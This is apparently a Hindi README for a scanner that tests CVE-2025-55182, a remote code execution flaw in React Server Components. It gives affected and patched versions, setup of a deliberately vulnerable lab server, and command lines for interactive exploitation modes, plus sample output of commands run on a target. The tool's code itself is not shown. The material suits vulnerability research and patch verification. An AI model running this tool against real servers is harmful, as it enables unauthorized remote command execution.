
CVE-2025-55182 React RCE परीक्षण कार्यक्रम
CVE-2025-55182 React RCE Test Program
यह स्क्रिप्ट React 19.x के React Server Components (RSC) में मौजूद एक गंभीर रिमोट कोड एक्सीक्यूशन (RCE) कमजोरी CVE-2025-55182 को लक्षित करने वाला एक कमजोरी सत्यापन उपकरण है।
यह उपकरण वास्तविक सर्वर पर कमजोरी के अस्तित्व का निर्धारण करता है, और विकल्पों के अनुसार कमांड निष्पादित कर सकता है, लॉग रिकॉर्ड कर सकता है, या दो-चरणीय RCE विधि (module#_load) से भी परीक्षण कर सकता है।
⚠️ यह उपकरण केवल बंद परीक्षण वातावरण में सुरक्षा ऑडिट और भेद्यता सत्यापन उद्देश्यों के लिए उपयोग किया जाना चाहिए।
| आइटम | विवरण |
|---|
| कमजोरी संख्या | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| कमजोरी का नाम | React2Shell |
| कमजोरी प्रकार | रिमोट कोड एक्सीक्यूशन (RCE) – प्रमाणीकरण आवश्यक नहीं |
| गंभीरता (CVSS) | 10.0 (घातक) |
| खोज की तिथि | 2025-11-29 (Lachlan Davidson) |
| हमले की कठिनाई | बहुत कम (Log4Shell स्तर) |
| कमजोरी का विवरण | Flight डिसेरियलाइज़ेशन प्रोसेसिंग के दौरान requireModule() फ़ंक्शन के ब्रैकेट नोटेशन के माध्यम से प्रोटोटाइप चेन (constructor, __proto__) तक पहुंच संभव बनाने वाली संरचनात्मक RCE कमजोरी |
| उत्पाद/उपकरण | कमजोर संस्करण | पैच किया गया संस्करण |
|---|---|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | उपरोक्त समान (↑) | उपरोक्त समान |
| react-server-dom-parcel | उपरोक्त समान (↑) | उपरोक्त समान |
| react-server-dom-turbopack | उपरोक्त समान (↑) | उपरोक्त समान |
| Next.js 14 | 14.3.0.canary.77 और उससे ऊपर के कुछ संस्करण | (अनौपचारिक रूप से) 15.0.5 या उससे ऊपर स्विच करने की सिफारिश की गई है |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| अन्य उपकरण | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin आदि | उन प्रोजेक्ट्स के RSC निर्भरताओं को पैच करना आवश्यक है |
✅ RSC सुविधा वाले प्रोजेक्ट्स को React से अलग
react-server-dom-*मॉड्यूल को भी नवीनतम संस्करण में अपग्रेड करना आवश्यक है ताकि सुरक्षित रहें।
CVE-2025-55182/
├── README.md # पूर्ण अवलोकन और स्कैनर उपयोग
├── DETECTION_RULES.md # पता लगाने/ब्लॉक करने के नियमों का संग्रह
├── 설명 및 탐지규칙.md # कोरियाई में पता लगाने के नियमों का विवरण
├── cve_2025_55182_interactive.py # RCE सत्यापन स्कैनर स्क्रिप्ट
├── requirements.txt # स्कैनर निर्भरताओं की सूची
├── setup_vulnerable_env.sh # कमजोर वातावरण बैच स्थापना स्क्रिप्ट
├── uninstall_vulnerable_env.sh # कमजोर वातावरण सफाई/हटाने की स्क्रिप्ट
└── vulnerable-react-env/ # React2Shell कमजोर सर्वर अभ्यास कोड
├── README.md # अभ्यास वातावरण उपयोग
├── package.json # npm स्क्रिप्ट और निर्भरताएं
├── server.js # कमजोर Express बैकएंड
├── public/
│ └── index.html # CDN-आधारित React फ्रंटएंड
└── .gitignore
✅ कमजोर सर्वर पर RCE संभव है या नहीं, इंटरैक्टिव तरीके से परीक्षण करें
✅ child_process#execSync (डिफ़ॉल्ट) या module#_load विधि समर्थित
✅ कमांड निष्पादन परिणाम को लॉग फ़ाइल में सहेजें
✅ उपयोगकर्ता द्वारा सीधे इनपुट किए गए सिस्टम कमांड को सर्वर पर भेजें
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
मूल RCE परीक्षण (execSync विधि)
child_process.execSync() का उपयोग करके कमांड निष्पादनpython cve_2025_55182_interactive.py http://localhost:3000 --rceदो-चरणीय RCE परीक्षण (module#_load विधि)
module#_load के माध्यम से निष्पादित करेंpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadRSC-आधारित RCE परीक्षण (--rce2 विकल्प)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2कमांड निष्पादन परिणाम लॉग सहेजें
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logपूर्ण कार्यक्षमता का उपयोग (विधि + लॉग)
moduleLoad विधि और लॉग सहेजने का एक साथ उपयोगpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logपेलोड डीबग आउटपुट
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugvulnerable-react-env फ़ोल्डर में CVE-2025-55182 को पुनः प्रस्तुत करने में सक्षम जानबूझकर कमजोर React + Express सर्वर शामिल है।
./setup_vulnerable_env.sh चलाने पर apt पैकेज इंस्टॉलेशन → nvm/Node.js 20 इंस्टॉलेशन → npm install एक बार में पूरा हो जाता है।cd vulnerable-react-env && npm start या npm run dev से सर्वर चलाएँ।npm run टाइप करने पर स्क्रिप्ट्स की सूची प्रदर्शित होती है। कृपया सुनिश्चित करें कि आप npm start (या npm run start) जैसे स्क्रिप्ट नाम निर्दिष्ट करें।./uninstall_vulnerable_env.sh का उपयोग करके node_modules, moduleLoad पेलोड, (वैकल्पिक) Node 20 और nvm हटाए जा सकते हैं।ERR_MODULE_NOT_FOUND: Cannot find package 'express' जैसी निर्भरता त्रुटि होती है, तो cd vulnerable-react-env && npm install से node_modules स्थापित करें और फिर से npm start चलाएँ।sudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (डिफ़ॉल्ट पोर्ट: 3000)http://localhost:3000 पर जाएँ और फॉर्म के माध्यम से _payload और cmd भेजेंvulnerable-react-env/README.md में दिए गए curl उदाहरण से RCE प्रवाह को पुनः प्रस्तुत करें⚠️ अनुसंधान/शिक्षा उद्देश्यों के अलावा उपयोग न करें। इसे इंटरनेट पर उजागर न करें।
💬 इनपुट सिस्टम कमांड: whoami
✅ प्रतिक्रिया कोड: 200
📄 प्रतिक्रिया सामग्री: {"success":true,"result":"www-data"}
💬 इनपुट सिस्टम कमांड: id
✅ प्रतिक्रिया कोड: 200
📄 प्रतिक्रिया सामग्री: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 इनपुट सिस्टम कमांड: exit
👋 समाप्त हो रहा है।
❌ उत्पादन वातावरण में कभी उपयोग न करें।
✅ यह स्क्रिप्ट केवल स्थानीय परीक्षण वातावरण या पृथक VM में उपयोग की जानी चाहिए।
🛠️ --method moduleLoad विधि /tmp/evil.js पर एक वास्तविक फ़ाइल बनाती है।
🧾 --log विकल्प का उपयोग करने पर आउटपुट सादे पाठ में सहेजा जाता है, इसलिए फ़ाइल तक पहुंच प्रतिबंधित करें।
🔐 सभी अनुरोध यह सत्यापित करते हैं कि कमजोर सर्वर पर वास्तविक JavaScript कोड निष्पादित हो रहा है।
आधिकारिक CVE: CVE-2025-55182
शोषण विधियाँ:
हमले का प्रवाह:
यह प्रोजेक्ट केवल सुरक्षा अनुसंधान, ऑडिट और परीक्षण उद्देश्यों के लिए प्रदान किया गया है,
और वास्तविक प्रणालियों पर अनधिकृत उपयोग अवैध है।
इस उपकरण के उपयोग से उत्पन्न सभी कानूनी जिम्मेदारी उपयोगकर्ता की स्वयं की है।